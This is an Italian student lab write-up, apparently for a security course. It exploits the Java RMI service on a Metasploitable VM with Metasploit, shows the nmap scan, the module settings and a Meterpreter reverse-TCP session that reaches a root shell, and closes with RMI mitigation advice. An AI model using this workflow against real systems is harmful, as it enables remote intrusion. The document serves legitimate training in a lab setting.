Esercizio benchmark modulo 4

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete;
 - 2) informazioni sulla tabella di routing della macchina vittima
 - 3) altro...

SVOLGIMENTO

Java-RMI, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target. Andiamo ad effettuare l'exploit di questo servizio.

Prima di tutto verifichiamo gli IP delle due macchine, e controlliamo che ci sia una connessione rispettiva su entrambi i sistemi.

Fatto ciò, andiamo ad effettuare innanzitutto una scansione del sistema che stiamo attaccando, usando Nmap. Dobbiamo visionare il servizio presente sulla common port 1099, e verificare che esso sia aperto.

Ci serviamo del comando seguente, che controlla la versione del servizio:

-sudo nmap -p 1099 -sV 192.168.11.112

```
$ sudo nmap -p 1099 -sV 192.168.11.112
Starting Nmap 7.94SVN (https://nmap.org ) at 2024-06-06 14:57 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00032s latency).

PORT STATE SERVICE VERSION
1099/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:66:D3:05 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at ttps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds
```

Dopo averne confermato l'apertura, possiamo aprire la console di Metasploit. Procediamo a fare un search del servizio rmiregistry.

A seguire, facciamo use del modulo e vediamo le opzioni necessarie da configurare; esse saranno RHOSTS (in cui inseriremo l'IP del target), LHOST (IP macchina attaccante) e in caso di necessità, modifica a HTTPDELAY se la connessione non riuscisse ad avvenire per via del tempo troppo breve.

```
| Metasploit vip: Start commands with a space to avoid saving them to history

| Commands | Command
```

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(

    ) > show options

Module options (exploit/multi/misc/java_rmi_server):
   Name
                Current Setting Required Description
   HTTPDELAY 10
                                              Time that the HTTP Server will wait for the payloa
                                   yes
                                              d request
   RHOSTS
                                              The target host(s), see https://docs.metasploit.co
                                   yes
                                              m/docs/using-metasploit/basics/using-metasploit.ht
                                              ml
   RPORT
                1099
                                              The target port (TCP)
                                   ves
                                              The local host or network interface to listen on.
   SRVHOST
                0.0.0.0
                                   yes
                                              This must be an address on the local machine or 0.
                                              0.0.0 to listen on all addresses.
   SRVPORT
                8080
                                   yes
                                              The local port to listen on.
                                              Negotiate SSL for incoming connections
                false
                                              Path to a custom SSL certificate (default is rando
   SSLCert
                                   no
                                              mly generated)
   URIPATH
                                   no
                                               The URI to use for this exploit (default is random
Payload options (java/meterpreter/reverse_tcp):
           Current Setting Required Description
   LHOST 127.0.0.1
LPORT 4444
                                          The listen address (an interface may be specified)
                               ves
                                          The listen port
                               ves
Exploit target:
   Td Name
        Generic (Java Payload)
View the full module info with the info, or info -d command.
msf6 exploit(
                                           er) > set RHOSTS 192.168.11.112
RHOSTS ⇒ 192.168.11.112
                                           r) >
msf6 exploit(
                                            ) > set LHOST 192.168.11.111
msf6 exploit(
 HOST ⇒ 192.168.11.111
msf6 exploit(
                                           r) > set httpdelay 25
httpdelay ⇒ 25
msf6 exploit(
                                          er) > exploit
 [*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Tr7uTZPBq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112 
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:40403) at 2024-06-06
15:07:16 -0400
meterpreter >
```

Inserite tutte le impostazioni necessarie, utilizzeremo il comando "exploit" per effettuare la connessione. Adesso che saremo dentro Metasploitable, inizieremo a raccogliere diversi dati presenti dentro la macchina, iniziando dalle impostazioni di rete (ifconfig) e dal routing (route).

```
meterpreter > ifconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2001:b07:a3b:666a:a00:27ff:fe66:d305
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe66:d305
IPv6 Netmask : ::
<u>meterpreter</u> >
meterpreter > route
IPv4 network routes
    Subnet
                    Netmask
                                     Gateway Metric Interface
    127.0.0.1 255.0.0.0
                                   0.0.0.0
    192.168.11.112 255.255.255.0 0.0.0.0
IPv6 network routes
    Subnet
                                             Netmask Gateway Metric Interface
    2001:b07:a3b:666a:a00:27ff:fe66:d305
    fe80::a00:27ff:fe66:d305
meterpreter >
```

Verifichiamo anche le informazioni riguardanti il sistema.

Vediamo quale Sistema Operativo presenta, che architettura usa, il linguaggio del sistema e il nome del computer.

```
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
meterpreter >
```

Proviamo inoltre a creare una shell (con il comando **shell**). In questo modo potremo avere pieno controllo sul sistema, eseguendo comandi come se ci trovassimo dalla shell di Metasploitable.

Proviamo ad eseguire i comandi "whoami" e "uname".

```
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
uname
Linux
```

Possiamo inoltre verificare anche quali siano i processi presenti sulla macchina, attraverso il comando "**ps**".

```
<u>meterpreter</u> > ps
Process List
 PID
       Name
                                      User
                                                 Path
       /sbin/init
                                      root
                                                 /sbin/init
       [kthreadd]
                                                  [kthreadd]
                                      root
       [migration/0]
                                                  [migration/0]
                                      root
       [ksoftirqd/0]
                                                 [ksoftirqd/0]
                                      root
       [watchdog/0]
                                      root
                                                  [watchdog/0]
       [migration/1]
                                      root
                                                  [migration/1]
       [ksoftirqd/1]
                                                  [ksoftirqd/1]
                                      root
       [watchdog/1]
                                                  [watchdog/1]
                                      root
                                                  [events/0]
 9
       [events/0]
                                      root
 10
       [events/1]
                                                  [events/1]
                                      root
       [khelper]
                                                  [khelper]
                                      root
       [kblockd/0]
                                                  [kblockd/0]
 46
                                      root
       [kblockd/1]
                                      root
                                                  [kblockd/1]
                                                  [kacpid]
       [kacpid]
 50
                                      root
       [kacpi notify]
                                                  [kacpi notify]
                                      root
       [kseriod]
                                                  [kseriod]
 97
                                      root
 141
       [pdflush]
                                      root
                                                  [pdflush]
       [pdflush]
                                                 [pdflush]
 142
                                      root
 143
       [kswapd0]
                                                  [kswapd0]
                                      root
       [aio/0]
                                                  [aio/0]
 185
                                      root
 186
       [aio/1]
                                      root
                                                  [aio/1]
 1153
       [ksnapd]
                                      root
                                                  [ksnapd]
       [ata/0]
 1353
                                                  [ata/0]
                                      root
       [ata/1]
 1355
                                      root
                                                 [ata/1]
 1362
       [ata_aux]
                                      root
                                                  [ata_aux]
                                                  [ksuspend_usbd]
 1364
       [ksuspend_usbd]
                                      root
 1370
       [khubd]
                                      root
                                                 [khubd]
       [scsi_eh_0]
                                                  [scsi_eh_0]
 2070
                                      root
 2156
       [scsi_eh_1]
                                      root
                                                  [scsi_eh_1]
 2159
       [scsi_eh_2]
                                      root
                                                  [scsi_eh_2]
       [kjournald]
                                                 [kjournald]
 2304
                                      root
 2458
       /sbin/udevd
                                      root
                                                  /sbin/udevd --daemon
                                                 [kpsmoused]
 3105
       [kpsmoused]
                                      root
      [kjournald]
                                      root
                                                 [kjournald]
      /sbin/portmap
/sbin/rpc.statd
 3762
                                      daemon
                                                 /sbin/portmap
                                                 /sbin/rpc.statd
 3778
                                      statd
 3785
      [rpciod/0]
                                      root
                                                 [rpciod/0]
 3787
       [rpciod/1]
                                                 [rpciod/1]
                                      root
      /usr/sbin/rpc.idmapd
                                                 /usr/sbin/rpc.idmapd
 3804
                                      root
                                                 /sbin/getty 38400 tty4
/sbin/getty 38400 tty5
 4031
      /sbin/getty
                                      root
 4032
       /sbin/getty
                                      root
      /sbin/getty
                                                 /sbin/getty 38400 tty2
 4034
                                      root
```

Considerazioni su Java RMI

Java RMI (Remote Method Invocation) è una tecnologia potente per la costruzione di applicazioni distribuite, ma come qualsiasi altra tecnologia di rete, porta con sé una serie di rischi di sicurezza che devono essere gestiti attentamente. Nel contesto della

cybersicurezza, è fondamentale capire i potenziali rischi e le best practice per proteggere le applicazioni basate su Java RMI.

Come possiamo vedere, questa è una porta che dà potenziale accesso ad un attaccante in modo decisamente semplice, e chiunque potrebbe sfruttarla per causare danni non da poco nei confronti del sistema della vittima.

Per proteggerci da tale possibilità, dobbiamo adottare misure di sicurezza adeguate, prima di tutto cercando di non consentire l'accesso all'IP e alla rete, mascherandoci utilizzando un Firewall o una VPN.

Dobbiamo evitare che la porta 1099 possa rimanere aperta a qualunque connessione, e per questo è necessario stabilire delle regole firewall che blocchino accessi non autorizzati.

Mitigazione

1. Utilizzare la Cifratura:

• Utilizzare SSL/TLS per cifrare le comunicazioni tra client e server RMI. Protegge i dati in transito da intercettazioni e attacchi Man-in-the-Middle (MitM).

2. Implementare l'Autenticazione e l'Autorizzazione

- Assicurare che solo gli utenti autorizzati possano accedere ai metodi RMI.
- usare meccanismi semplici come username e password, o più complessi come certificati digitali.
- Configurare le policy di autorizzazione per limitare l'accesso ai metodi RMI solo agli utenti autorizzati.

3. Validare l'Input

- Prevenire attacchi di deserializzazione e esecuzione di codice arbitrario.
 - Verificare e valida tutti i dati in ingresso provenienti da client RMI.
 - Evitare di deserializzare oggetti da fonti non fidate.

4. Mantenere il Sistema Aggiornato

- Le patch di sicurezza correggono vulnerabilità note.
- Aggiorna regolarmente il tuo ambiente Java e le librerie utilizzate.
- Monitora le notifiche di sicurezza relative a Java e applica le patch tempestivamente.

5. Implementare Controlli di Accesso Basati su Ruoli (RBAC)

- Limitare l'accesso ai metodi RMI in base al ruolo dell'utente.
- Definire ruoli e permessi nel tuo sistema.
- Configurare i metodi RMI per controllare i permessi prima di eseguire qualsiasi operazione.

6. Log e Monitoraggio

- Rilevare attività sospette e rispondi rapidamente a eventuali incidenti di sicurezza.
- Registrare tutte le chiamate ai metodi RMI, inclusi dettagli sugli utenti e i dati trasmessi.

• Implementare strumenti di monitoraggio per analizzare i log e identificare comportamenti anomali.

7. Isolare le Applicazioni

- Limitare l'impatto di una compromissione
- Usare container o macchine virtuali per eseguire iserver RMI, mantenendoli separati da altre parti della rete.
- Configurare firewall e regole di rete per limitare l'accesso al server RMI solo ai client autorizzati.